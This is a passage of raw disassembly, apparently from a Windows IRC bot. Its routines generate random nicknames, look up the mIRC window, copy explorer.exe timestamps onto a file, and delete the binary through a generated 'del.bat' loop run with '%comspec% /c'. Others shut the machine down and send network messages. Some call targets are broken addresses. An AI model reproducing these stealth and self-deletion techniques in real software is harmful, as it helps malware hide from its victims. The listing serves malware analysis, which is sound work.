loc_417C6E: ; CODE XREF: sub_417ADE+D0j
lea eax, [ebp+var_2C]
push eax
call sub_41AFE0
mov esi, eax
movsx eax, [ebp+esi+var_2D]
lea ebx, [ebp+esi+var_2C]
push eax
mov [ebp+var_4], esi
call sub_41D648
pop ecx
test eax, eax
pop ecx
jnz loc_417ED6
and [ebp+var_C], eax
movsx eax, byte ptr [ebx-1]
push eax
push edi
call sub_41BFB0
pop ecx
test eax, eax
pop ecx
jnz loc_417DCD
call sub_41B8E2
mov dword ptr [ebp+var_18+4], eax
lea eax, [esi+3]
fild dword ptr [ebp+var_18+4]
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmulp st(1), st
fmul dbl_4276E0
call sub_41C798
cmp esi, 3
jz short loc_417CDC
cmp eax, 1
jnz loc_417DCD
loc_417CDC: ; CODE XREF: sub_417ADE+1F3j
push 2
cdq
pop ecx
idiv ecx
cmp edx, 1
jnz short loc_417D1E
push edi
call sub_41AFE0
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
fild [ebp+var_18]
pop ecx
fstp qword ptr [ebp-10h]
call sub_41B8E2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul qword ptr [ebp-10h]
fmul dbl_4276E0
call sub_41C798
mov al, byte ptr a__0[eax] ; "-|`_\\{[]}"
mov [ebx], al
jmp short loc_417D3A
; ---------------------------------------------------------------------------
loc_417D1E: ; CODE XREF: sub_417ADE+207j
call sub_41B8E2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276D0
call sub_41C798
mov cl, 41h
sub cl, al
mov [ebx], cl
loc_417D3A: ; CODE XREF: sub_417ADE+23Ej
push 1
inc esi
pop ebx
mov [ebp+var_4], esi
mov [ebp+var_C], ebx
call sub_41B8E2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276C8
call sub_41C798
cmp esi, 3
jz short loc_417D63
cmp eax, ebx
jnz short loc_417DCD
loc_417D63: ; CODE XREF: sub_417ADE+27Fj
push 2
pop ebx
cdq
mov ecx, ebx
idiv ecx
test edx, edx
jnz short loc_417DA8
push edi
call sub_41AFE0
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
fild [ebp+var_18]
pop ecx
fstp qword ptr [ebp-10h]
call sub_41B8E2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul qword ptr [ebp-10h]
fmul dbl_4276E0
call sub_41C798
mov al, byte ptr a__0[eax] ; "-|`_\\{[]}"
mov [ebp+esi+var_2C], al
jmp short loc_417DC6
; ---------------------------------------------------------------------------
loc_417DA8: ; CODE XREF: sub_417ADE+28Fj
call sub_41B8E2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276D0
call sub_41C798
mov cl, 41h
sub cl, al
mov [ebp+esi+var_2C], cl
loc_417DC6: ; CODE XREF: sub_417ADE+2C8j
inc esi
mov [ebp+var_C], ebx
mov [ebp+var_4], esi
loc_417DCD: ; CODE XREF: sub_417ADE+1C9j
; sub_417ADE+1F8j ...
cmp esi, 6
jge loc_417E56
cmp esi, 5
jge short loc_417DEE
call sub_41B8E2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276E8
jmp short loc_417E0C
; ---------------------------------------------------------------------------
loc_417DEE: ; CODE XREF: sub_417ADE+2FBj
call sub_41B8E2
push 8
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
pop eax
sub eax, esi
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmulp st(1), st
fmul dbl_4276E0
loc_417E0C: ; CODE XREF: sub_417ADE+30Ej
call sub_41C798
test eax, eax
jnz short loc_417E2F
call sub_41B8E2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276C0
call sub_41C798
mov cl, 30h
jmp short loc_417E4C
; ---------------------------------------------------------------------------
loc_417E2F: ; CODE XREF: sub_417ADE+335j
cmp eax, 1
jnz short loc_417E56
call sub_41B8E2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276D0
call sub_41C798
mov cl, 41h
loc_417E4C: ; CODE XREF: sub_417ADE+34Fj
sub cl, al
mov [ebp+esi+var_2C], cl
inc esi
mov [ebp+var_4], esi
loc_417E56: ; CODE XREF: sub_417ADE+2F2j
; sub_417ADE+354j
cmp [ebp+var_C], 2
jge short loc_417ED6
call sub_41B8E2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fimul [ebp+var_4]
fmul dbl_4276E0
call sub_41C798
cmp eax, 1
jnz short loc_417ED6
call sub_41B8E2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276C0
call sub_41C798
mov cl, 30h
sub cl, al
mov [ebp+esi+var_2C], cl
call sub_41B8E2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276B8
call sub_41C798
cmp eax, 1
jnz short loc_417ED6
cmp [ebp+var_C], eax
jge short loc_417ED6
call sub_41B8E2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276B0
call sub_41C798
mov cl, 30h
sub cl, al
mov [ebp+esi+var_2B], cl
loc_417ED6: ; CODE XREF: sub_417ADE+1B1j
; sub_417ADE+37Cj ...
lea eax, [ebp+var_2C]
push 14h
push eax
push [ebp+arg_0]
call sub_41B5F0
mov eax, [ebp+arg_0]
add esp, 0Ch
pop edi
pop esi
pop ebx
leave
retn
sub_417ADE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417EEF proc near ; CODE XREF: sub_401ACD+BECp
; sub_401ACD+C29p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_0]
xor esi, esi
cmp edi, esi
jz short loc_417F7A
mov eax, [ebp+arg_4]
cmp eax, esi
jz short loc_417F7A
cmp [ebp+arg_8], esi
jz short loc_417F7A
cmp byte ptr [eax], 0
jz short loc_417F7A
push ebx
push edi
call sub_426464
mov ebx, eax
pop ecx
test ebx, ebx
jz short loc_417F75
push [ebp+arg_4]
push edi
call sub_41B900
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_417F6E
sub eax, edi
push eax
push edi
push ebx
call sub_41B5F0
push [ebp+arg_8]
mov eax, ebx
sub eax, edi
and byte ptr [eax+esi], 0
call sub_41AFE0
push eax
push [ebp+arg_8]
push ebx
call sub_41C1E0
push [ebp+arg_4]
call sub_41AFE0
add eax, esi
push eax
push ebx
call sub_41BEC0
push ebx
push edi
call sub_41BEB0
add esp, 30h
mov esi, edi
loc_417F6E: ; CODE XREF: sub_417EEF+3Cj
push ebx
call sub_41B0B1
pop ecx
loc_417F75: ; CODE XREF: sub_417EEF+2Bj
mov eax, esi
pop ebx
jmp short loc_417F7C
; ---------------------------------------------------------------------------
loc_417F7A: ; CODE XREF: sub_417EEF+Cj
; sub_417EEF+13j ...
xor eax, eax
loc_417F7C: ; CODE XREF: sub_417EEF+89j
pop edi
pop esi
pop ebp
retn
sub_417EEF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417F80 proc near ; CODE XREF: sub_401955+E9p
; ___:004102F1p
var_7D0 = dword ptr -7D0h
var_7CC = byte ptr -7CCh
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 7D0h
push ebx
push esi
push 7D0h
lea eax, [ebp+var_7D0]
push 0
push eax
call sub_41B590
mov esi, [ebp+arg_0]
push esi
call sub_41AFE0
add esp, 10h
push 1
pop ebx
cmp eax, ebx
jge short loc_417FB6
or eax, 0FFFFFFFFh
jmp short loc_418029
; ---------------------------------------------------------------------------
loc_417FB6: ; CODE XREF: sub_417F80+2Fj
xor ecx, ecx
mov [ebp+var_7D0], esi
test eax, eax
jle short loc_417FD8
loc_417FC2: ; CODE XREF: sub_417F80+56j
mov dl, [ecx+esi]
cmp dl, 0Ah
jz short loc_417FCF
cmp dl, 0Dh
jnz short loc_417FD3
loc_417FCF: ; CODE XREF: sub_417F80+48j
and byte ptr [ecx+esi], 0
loc_417FD3: ; CODE XREF: sub_417F80+4Dj
inc ecx
cmp ecx, eax
jl short loc_417FC2
loc_417FD8: ; CODE XREF: sub_417F80+40j
xor edx, edx
push edi
test eax, eax
jle short loc_418009
lea edi, [ebp+var_7CC]
loc_417FE5: ; CODE XREF: sub_417F80+87j
cmp byte ptr [edx+esi], 0
jnz short loc_418004
cmp byte ptr [edx+esi+1], 0
lea ecx, [edx+esi+1]
jz short loc_418004
cmp ebx, 1F4h
jge short loc_418009
mov [edi], ecx
inc ebx
add edi, 4
loc_418004: ; CODE XREF: sub_417F80+69j
; sub_417F80+74j
inc edx
cmp edx, eax
jl short loc_417FE5
loc_418009: ; CODE XREF: sub_417F80+5Dj
; sub_417F80+7Cj
cmp [ebp+arg_4], 0
pop edi
jz short loc_418027
lea eax, [ebp+var_7D0]
push 7D0h
push eax
push [ebp+arg_4]
call sub_41C310
add esp, 0Ch
loc_418027: ; CODE XREF: sub_417F80+8Ej
mov eax, ebx
loc_418029: ; CODE XREF: sub_417F80+34j
pop esi
pop ebx
leave
retn
sub_417F80 endp
; =============== S U B R O U T I N E =======================================
sub_41802D proc near ; CODE XREF: sub_418087+33p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_4]
push esi
push edi
mov edi, [esp+8+arg_8]
mov ecx, 1F4h
xor esi, esi
rep stosd
lea edi, [eax-1]
test edi, edi
jl short loc_418066
push ebx
mov ebx, edi
loc_41804A: ; CODE XREF: sub_41802D+36j
mov eax, [esp+0Ch+arg_0]
mov al, [esi+eax]
push eax
call sub_418069
pop ecx
inc esi
mov ecx, [esp+0Ch+arg_8]
mov [ecx+eax*4], ebx
dec ebx
cmp esi, edi
jle short loc_41804A
pop ebx
loc_418066: ; CODE XREF: sub_41802D+18j
pop edi
pop esi
retn
sub_41802D endp
; =============== S U B R O U T I N E =======================================
sub_418069 proc near ; CODE XREF: sub_41802D+25p
; sub_418087+6Bp
arg_0 = byte ptr 4
movsx eax, [esp+arg_0]
push eax
call sub_41D74C
cmp al, 61h
pop ecx
jl short loc_418084
cmp al, 7Ah
jg short loc_418084
movsx eax, al
sub eax, 60h
retn
; ---------------------------------------------------------------------------
loc_418084: ; CODE XREF: sub_418069+Ej
; sub_418069+12j
xor eax, eax
retn
sub_418069 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418087 proc near ; CODE XREF: ___:0041532Ep
var_100C = dword ptr -100Ch
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 100Ch
call sub_41BB20
push ebx
push esi
push edi
push [ebp+arg_0]
call sub_41AFE0
push [ebp+arg_4]
mov [ebp+var_4], eax
call sub_41AFE0
mov esi, eax
lea eax, [ebp+var_100C]
push eax
push esi
push [ebp+arg_4]
mov [ebp+var_C], esi
call sub_41802D
add esp, 14h
dec esi
mov edi, esi
loc_4180C5: ; CODE XREF: sub_418087+B6j
test esi, esi
jle short loc_418143
mov eax, [ebp+arg_4]
movsx eax, byte ptr [esi+eax]
push eax
call sub_41D74C
mov ebx, eax
mov eax, [ebp+arg_0]
movsx eax, byte ptr [edi+eax]
push eax
call sub_41D74C
pop ecx
cmp eax, ebx
pop ecx
jz short loc_41813B
loc_4180EB: ; CODE XREF: sub_418087+B2j
mov ebx, [ebp+arg_0]
mov al, [edi+ebx]
push eax
call sub_418069
mov edx, [ebp+var_C]
mov eax, [ebp+eax*4+var_100C]
pop ecx
mov ecx, edx
sub ecx, esi
cmp ecx, eax
jle short loc_41810C
mov eax, ecx
loc_41810C: ; CODE XREF: sub_418087+81j
add edi, eax
cmp edi, [ebp+var_4]
jge short loc_41813F
mov eax, [ebp+arg_4]
lea esi, [edx-1]
movsx eax, byte ptr [esi+eax]
push eax
call sub_41D74C
mov edx, eax
movsx eax, byte ptr [edi+ebx]
push eax
mov [ebp+var_8], edx
call sub_41D74C
pop ecx
pop ecx
mov ecx, [ebp+var_8]
cmp eax, ecx
jnz short loc_4180EB
loc_41813B: ; CODE XREF: sub_418087+62j
dec edi
dec esi
jmp short loc_4180C5
; ---------------------------------------------------------------------------
loc_41813F: ; CODE XREF: sub_418087+8Aj
xor eax, eax
jmp short loc_418148
; ---------------------------------------------------------------------------
loc_418143: ; CODE XREF: sub_418087+40j
mov eax, [ebp+arg_0]
add eax, edi
loc_418148: ; CODE XREF: sub_418087+BAj
pop edi
pop esi
pop ebx
leave
retn
sub_418087 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41814D proc near ; CODE XREF: sub_401ACD+67A4p
; sub_401ACD+789Fp
var_100 = byte ptr -100h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 100h
push esi
nop
call near ptr 2680ABEh
mov esi, eax
push 0
lea eax, [ebp+var_100]
push 100h
push eax
push 400h
push esi
push 0
push 1200h
nop
call near ptr 27C0000h
lea eax, [ebp+var_100]
loc_418186: ; CODE XREF: sub_41814D+46j
mov cl, [eax]
cmp cl, 1Fh
jg short loc_418192
cmp cl, 9
jnz short loc_418195
loc_418192: ; CODE XREF: sub_41814D+3Ej
inc eax
jmp short loc_418186
; ---------------------------------------------------------------------------
loc_418195: ; CODE XREF: sub_41814D+43j
; sub_41814D+5Bj ...
and byte ptr [eax], 0
dec eax
lea ecx, [ebp+var_100]
cmp eax, ecx
jb short loc_4181AF
mov cl, [eax]
cmp cl, 2Eh
jz short loc_418195
cmp cl, 21h
jl short loc_418195
loc_4181AF: ; CODE XREF: sub_41814D+54j
lea eax, [ebp+var_100]
push esi
push eax
mov esi, offset dword_4DAE0C
push [ebp+arg_0]
push offset aSErrorSD_ ; "%s Error: %s <%d>."
push 200h
push esi
call sub_41B980
add esp, 18h
mov eax, esi
pop esi
leave
retn
sub_41814D endp
; =============== S U B R O U T I N E =======================================
sub_4181D7 proc near ; CODE XREF: sub_401ACD+24CBp
push esi
push 0
call dword_4CB624
test eax, eax
jz short loc_41820E
push 1
call dword_4CB644
mov esi, eax
test esi, esi
jz short loc_41820E
push edi
push esi
nop
call near ptr 27D06C5h
push esi
mov edi, eax
nop
call near ptr 27D0000h
call dword_4CB6A8
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_41820E: ; CODE XREF: sub_4181D7+Bj
; sub_4181D7+19j
xor eax, eax
pop esi
retn
sub_4181D7 endp
; =============== S U B R O U T I N E =======================================
sub_418212 proc near ; CODE XREF: sub_401ACD+7662p
arg_0 = dword ptr 4
push ebp
push esi
push edi
xor esi, esi
mov edi, offset aMirc_0 ; "mIRC"
push esi
push edi
call dword_4CB660
mov ebp, eax
cmp ebp, esi
jz short loc_41828E
push ebx
push edi
push 1000h
push esi
push 4
push esi
push 0FFFFFFFFh
nop
call near ptr 27E052Fh
push esi
push esi
mov edi, eax
push esi
push 0F001Fh
push edi
nop
call near ptr 27E0371h
push [esp+10h+arg_0]
mov ebx, eax
push ebx
call sub_41B886
pop ecx
pop ecx
push esi
push 1
push 4C8h
push ebp
call dword_4CB6B0
push esi
push 1
push 4C9h
push ebp
call dword_4CB6B0
push ebx
call near ptr 27E0000h
nop
push edi
call near ptr 2660919h
nop
push 1
pop eax
pop ebx
jmp short loc_418290
; ---------------------------------------------------------------------------
loc_41828E: ; CODE XREF: sub_418212+16j
xor eax, eax
loc_418290: ; CODE XREF: sub_418212+7Aj
pop edi
pop esi
pop ebp
retn
sub_418212 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418294 proc near ; CODE XREF: ___:00401433p
var_11C = byte ptr -11Ch
var_18 = byte ptr -18h
var_10 = byte ptr -10h
var_8 = byte ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 11Ch
push ebx
push esi
xor esi, esi
push edi
lea eax, [ebp+var_11C]
push esi
push eax
push 104h
push esi
push offset aExplorer_exe ; "explorer.exe"
push esi
call dword_4CB710
test eax, eax
jz short loc_418333
mov edi, 80h
push esi
push edi
push 3
push esi
mov esi, dword_4270EC
push 1
lea eax, [ebp+var_11C]
push 80000000h
push eax
call esi
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz short loc_418333
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_10]
push eax
push ebx
nop
call near ptr 27F0757h
push ebx
mov ebx, dword_427068
call ebx
push 0
push edi
push 3
push 0
push 2
push 40000000h
push [ebp+arg_0]
call esi
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_418333
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_10]
push eax
push esi
nop
call near ptr 27F0000h
push esi
call ebx
loc_418333: ; CODE XREF: sub_418294+2Aj
; sub_418294+51j ...
pop edi
pop esi
pop ebx
leave
retn
sub_418294 endp
; =============== S U B R O U T I N E =======================================
sub_418338 proc near ; CODE XREF: sub_401ACD+16B2p
push 1
push offset aSeshutdownpriv ; "SeShutdownPrivilege"
call sub_419652
pop ecx
pop ecx
push 50005h
push 6
call dword_4CB594
neg eax
sbb eax, eax
neg eax
retn
sub_418338 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41835A proc near ; CODE XREF: sub_401ACD+2755p
; ___:0041686Cp
var_764 = byte ptr -764h
var_364 = byte ptr -364h
var_260 = byte ptr -260h
var_15C = byte ptr -15Ch
var_58 = dword ptr -58h
var_4C = dword ptr -4Ch
var_2C = dword ptr -2Ch
var_28 = word ptr -28h
var_14 = byte ptr -14h
var_4 = byte ptr -4
push ebp
mov ebp, esp
sub esp, 764h
push esi
xor esi, esi
cmp dword_429090, esi
push edi
jz short loc_41837E
cmp dword_4CB724, esi
jnz short loc_41837E
push esi
call sub_401000
pop ecx
loc_41837E: ; CODE XREF: sub_41835A+13j
; sub_41835A+1Bj
call sub_40B2C0
lea eax, [ebp+var_764]
push eax
push 400h
nop
call near ptr 26A0000h
lea eax, [ebp+var_764]
push eax
lea eax, [ebp+var_260]
push offset aSdel_bat ; "%sdel.bat"
push eax
call sub_41B886
add esp, 0Ch
lea eax, [ebp+var_260]
push esi
push esi
push 2
push esi
push esi
push 40000000h
push eax
nop
call near ptr 27009D7h
mov edi, eax
cmp edi, esi
jbe loc_4184DE
lea eax, [ebp+var_260]
push eax
lea eax, [ebp+var_764]
push offset a@echoOffRepeat ; "@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
push eax
call sub_41B886
add esp, 0Ch
lea eax, [ebp+var_4]
push esi
push eax
lea eax, [ebp+var_764]
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_764]
push eax
push edi
nop
call near ptr 26F0000h
push edi
call near ptr 2660919h
nop
push 10h
lea eax, [ebp+var_14]
push esi
push eax
call sub_41B590
push 44h
lea eax, [ebp+var_58]
pop edi
push edi
push esi
push eax
call sub_41B590
add esp, 18h
mov [ebp+var_58], edi
mov edi, 104h
lea eax, [ebp+var_15C]
push edi
push eax
push esi
mov [ebp+var_4C], offset dword_43D808
mov [ebp+var_2C], 1
mov [ebp+var_28], si
call near ptr 2690126h
nop
push eax
nop
call near ptr 2670000h
lea eax, [ebp+var_15C]
push eax
call near ptr 2690000h
nop
cmp eax, 0FFFFFFFFh
jz short loc_418486
lea eax, [ebp+var_15C]
push 80h
push eax
nop
call near ptr 2680E1Fh
loc_418486: ; CODE XREF: sub_41835A+118j
lea eax, [ebp+var_15C]
push eax
lea eax, [ebp+var_260]
push eax
lea eax, [ebp+var_764]
push offset aComspecCSS ; "%%comspec%% /c %s %s"
push eax
call sub_41B886
add esp, 10h
lea eax, [ebp+var_364]
push edi
push eax
lea eax, [ebp+var_764]
push eax
nop
call near ptr 2800000h
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_58]
push eax
push esi
push esi
push 4008h
push 1
push esi
lea eax, [ebp+var_364]
push esi
push eax
push esi
nop
call near ptr 2660C3Bh
loc_4184DE: ; CODE XREF: sub_41835A+72j
pop edi
pop esi
leave
retn
sub_41835A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4184E2 proc near ; CODE XREF: sub_401ACD+7233p
var_294 = byte ptr -294h
var_94 = dword ptr -94h
var_84 = dword ptr -84h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 294h
push edi
xor edi, edi
push 94h
lea eax, [ebp+var_94]
push edi
push eax
call sub_41B590
add esp, 0Ch
lea eax, [ebp+var_94]
mov [ebp+var_94], 94h
push eax
call near ptr 26D066Bh
nop
cmp [ebp+var_84], 2
jnz short loc_418578
push [ebp+arg_10]
push [ebp+arg_C]
call dword_4CB5D4
push edi
push eax
call dword_4CB5E4
test eax, eax
jz short loc_41856A
push [ebp+arg_10]
push offset dword_439074
loc_418543: ; CODE XREF: sub_4184E2+94j
lea eax, [ebp+var_294]
push eax
call sub_41B886
push edi
lea eax, [ebp+var_294]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A73
add esp, 20h
jmp short loc_4185A2
; ---------------------------------------------------------------------------
loc_41856A: ; CODE XREF: sub_4184E2+57j
nop
call near ptr 2680ABEh
push eax
push offset unk_43904C
jmp short loc_418543
; ---------------------------------------------------------------------------
loc_418578: ; CODE XREF: sub_4184E2+3Fj
lea eax, [ebp+var_294]
push offset unk_43901C
push eax
call sub_41B886
push edi
lea eax, [ebp+var_294]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A73
add esp, 1Ch
loc_4185A2: ; CODE XREF: sub_4184E2+86j
pop edi
leave
retn
sub_4184E2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4185A5 proc near ; CODE XREF: sub_401ACD+55FFp
var_1C0 = byte ptr -1C0h
var_15C = byte ptr -15Ch
var_F8 = byte ptr -0F8h
var_94 = dword ptr -94h
var_90 = dword ptr -90h
var_8C = dword ptr -8Ch
var_84 = dword ptr -84h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 1C0h
lea eax, [ebp+var_94]
mov [ebp+var_94], 94h
push eax
nop
call near ptr 26D066Bh
cmp [ebp+var_90], 4
jnz short loc_4185FB
cmp [ebp+var_8C], 0
jnz short loc_4185E4
push 1
pop eax
cmp [ebp+var_84], eax
jnz short loc_4185FB
leave
retn
; ---------------------------------------------------------------------------
loc_4185E4: ; CODE XREF: sub_4185A5+30j
cmp [ebp+var_8C], 0Ah
jz short loc_4185F6
cmp [ebp+var_8C], 5Ah
jnz short loc_4185FB
loc_4185F6: ; CODE XREF: sub_4185A5+46j
push 1
pop eax
leave
retn
; ---------------------------------------------------------------------------
loc_4185FB: ; CODE XREF: sub_4185A5+27j
; sub_4185A5+3Bj ...
push esi
push edi
push offset aNetapi32_dll ; "netapi32.dll"
nop
call near ptr 26A0B0Dh
mov esi, eax
push offset aNetmessagebuff ; "NetMessageBufferSend"
push esi
nop
call near ptr 26B0000h
push 32h
mov edi, eax
push [ebp+arg_0]
lea eax, [ebp+var_1C0]
push eax
call sub_41D834
push 32h
lea eax, [ebp+var_15C]
push [ebp+arg_4]
push eax
call sub_41D834
push 32h
lea eax, [ebp+var_F8]
push [ebp+arg_8]
push eax
call sub_41D834
lea eax, [ebp+var_F8]
push eax
call sub_41D817
shl eax, 1
push eax
lea eax, [ebp+var_F8]
push eax
lea eax, [ebp+var_15C]
push eax
lea eax, [ebp+var_1C0]
push eax
push 0
call edi
add esp, 3Ch
mov edi, eax
push esi
nop
call near ptr 278079Dh
mov eax, edi
pop edi
pop esi
leave
retn
sub_4185A5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418685 proc near ; CODE XREF: sub_40111D+F7p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push esi
nop
call near ptr 2690AA5h
push eax
call sub_41B8D8
pop ecx
call sub_41B8E2
mov esi, [ebp+arg_0]
mov [ebp+var_4], eax
mov eax, [ebp+arg_4]
fild [ebp+var_4]
sub eax, esi
mov [ebp+arg_4], eax
fimul [ebp+arg_4]
fmul dbl_4276F8
call sub_41C798
sub esi, eax
mov eax, esi
pop esi
leave
retn
sub_418685 endp
; =============== S U B R O U T I N E =======================================
sub_4186C2 proc near ; CODE XREF: sub_401ACD:loc_406127p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
push edi
mov edi, [esp+8+arg_4]
test edi, edi
jz short loc_41871A
lea esi, [eax+eax*2]
push 0
shl esi, 2
push 0
push dword_439098[esi]
push edi
push eax
call sub_41873C
add esp, 14h
test eax, eax
jnz short loc_41870A
push edi
push off_439094[esi]
push offset unk_4391A8
loc_4186FA: ; CODE XREF: sub_4186C2+56j
mov esi, offset dword_4DB6D0
push esi
call sub_41B886
add esp, 10h
jmp short loc_418737
; ---------------------------------------------------------------------------
loc_41870A: ; CODE XREF: sub_4186C2+2Aj
push eax
call sub_4187DE
pop ecx
push eax
push edi
push offset unk_43917C
jmp short loc_4186FA
; ---------------------------------------------------------------------------
loc_41871A: ; CODE XREF: sub_4186C2+Cj
lea eax, [eax+eax*2]
mov esi, offset dword_4DB6D0
push off_439090[eax*4]
push offset unk_439158
push esi
call sub_41B886
add esp, 0Ch
loc_418737: ; CODE XREF: sub_4186C2+46j
mov eax, esi
pop edi
pop esi
retn
sub_4186C2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41873C proc near ; CODE XREF: sub_4186C2+20p
var_1C = byte ptr -1Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 1Ch
push ebx
push edi
xor ebx, ebx
push 0F003Fh
push ebx
push ebx
call dword_4CB648
mov edi, eax
cmp edi, ebx
jnz short loc_418763
call near ptr 2680ABEh
nop
mov ebx, eax
jmp short loc_4187D8
; ---------------------------------------------------------------------------
loc_418763: ; CODE XREF: sub_41873C+1Bj
push esi
push 0F01FFh
push [ebp+arg_4]
push edi
call dword_4CB530
mov esi, eax
cmp esi, ebx
jnz short loc_418783
call near ptr 2680ABEh
nop
mov ebx, eax
jmp short loc_4187D0
; ---------------------------------------------------------------------------
loc_418783: ; CODE XREF: sub_41873C+3Bj
mov eax, [ebp+arg_0]
cmp eax, 1
jz short loc_4187B6
cmp eax, 3
jz short loc_4187A7
jle short loc_4187C9
cmp eax, 6
jg short loc_4187C9
lea eax, [ebp+var_1C]
push eax
push [ebp+arg_8]
push esi
call dword_4CB59C
jmp short loc_4187BD
; ---------------------------------------------------------------------------
loc_4187A7: ; CODE XREF: sub_41873C+52j
push [ebp+arg_10]
push [ebp+arg_C]
push esi
call dword_4CB538
jmp short loc_4187BD
; ---------------------------------------------------------------------------
loc_4187B6: ; CODE XREF: sub_41873C+4Dj
push esi
call dword_4CB5A0
loc_4187BD: ; CODE XREF: sub_41873C+69j
; sub_41873C+78j
test eax, eax
jnz short loc_4187C9
call near ptr 2680ABEh
nop
mov ebx, eax
loc_4187C9: ; CODE XREF: sub_41873C+54j
; sub_41873C+59j ...
push esi
call dword_4CB54C
loc_4187D0: ; CODE XREF: sub_41873C+45j
push edi
call dword_4CB54C
pop esi
loc_4187D8: ; CODE XREF: sub_41873C+25j
mov eax, ebx
pop edi
pop ebx
leave
retn
sub_41873C endp
; =============== S U B R O U T I N E =======================================
sub_4187DE proc near ; CODE XREF: sub_4186C2+49p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov ecx, 420h
cmp eax, ecx
ja loc_418893
jz loc_41888C
add ecx, 0FFFFFFFBh
cmp eax, ecx
ja short loc_418856
jz short loc_41884C
mov ecx, eax
sub ecx, 3
jz short loc_418842
dec ecx
dec ecx
jz short loc_418838
dec ecx
jz short loc_41882E
sub ecx, 51h
jz short loc_418824
sub ecx, 24h
jnz loc_418909 ; default
; jumptable 004188B0 cases 1,5,6,8,9,12,13,15,16
push offset aTheSpecifiedSe ; "The specified service name is invalid."
jmp loc_4188FB
; ---------------------------------------------------------------------------
loc_418824: ; CODE XREF: sub_4187DE+31j
push offset aTheRequestedCo ; "The requested control code is undefined"...
jmp loc_4188FB
; ---------------------------------------------------------------------------
loc_41882E: ; CODE XREF: sub_4187DE+2Cj
push offset aTheHandleIsInv ; "The handle is invalid."
jmp loc_4188FB
; ---------------------------------------------------------------------------
loc_418838: ; CODE XREF: sub_4187DE+29j
push offset aTheHandleDoesN ; "The handle does not have the required a"...
jmp loc_4188FB
; ---------------------------------------------------------------------------
loc_418842: ; CODE XREF: sub_4187DE+25j
push offset aTheServiceBina ; "The service binary file could not be fo"...
jmp loc_4188FB
; ---------------------------------------------------------------------------
loc_41884C: ; CODE XREF: sub_4187DE+1Ej
push offset aTheServiceCann ; "The service cannot be stopped because o"...
jmp loc_4188FB
; ---------------------------------------------------------------------------
loc_418856: ; CODE XREF: sub_4187DE+1Cj
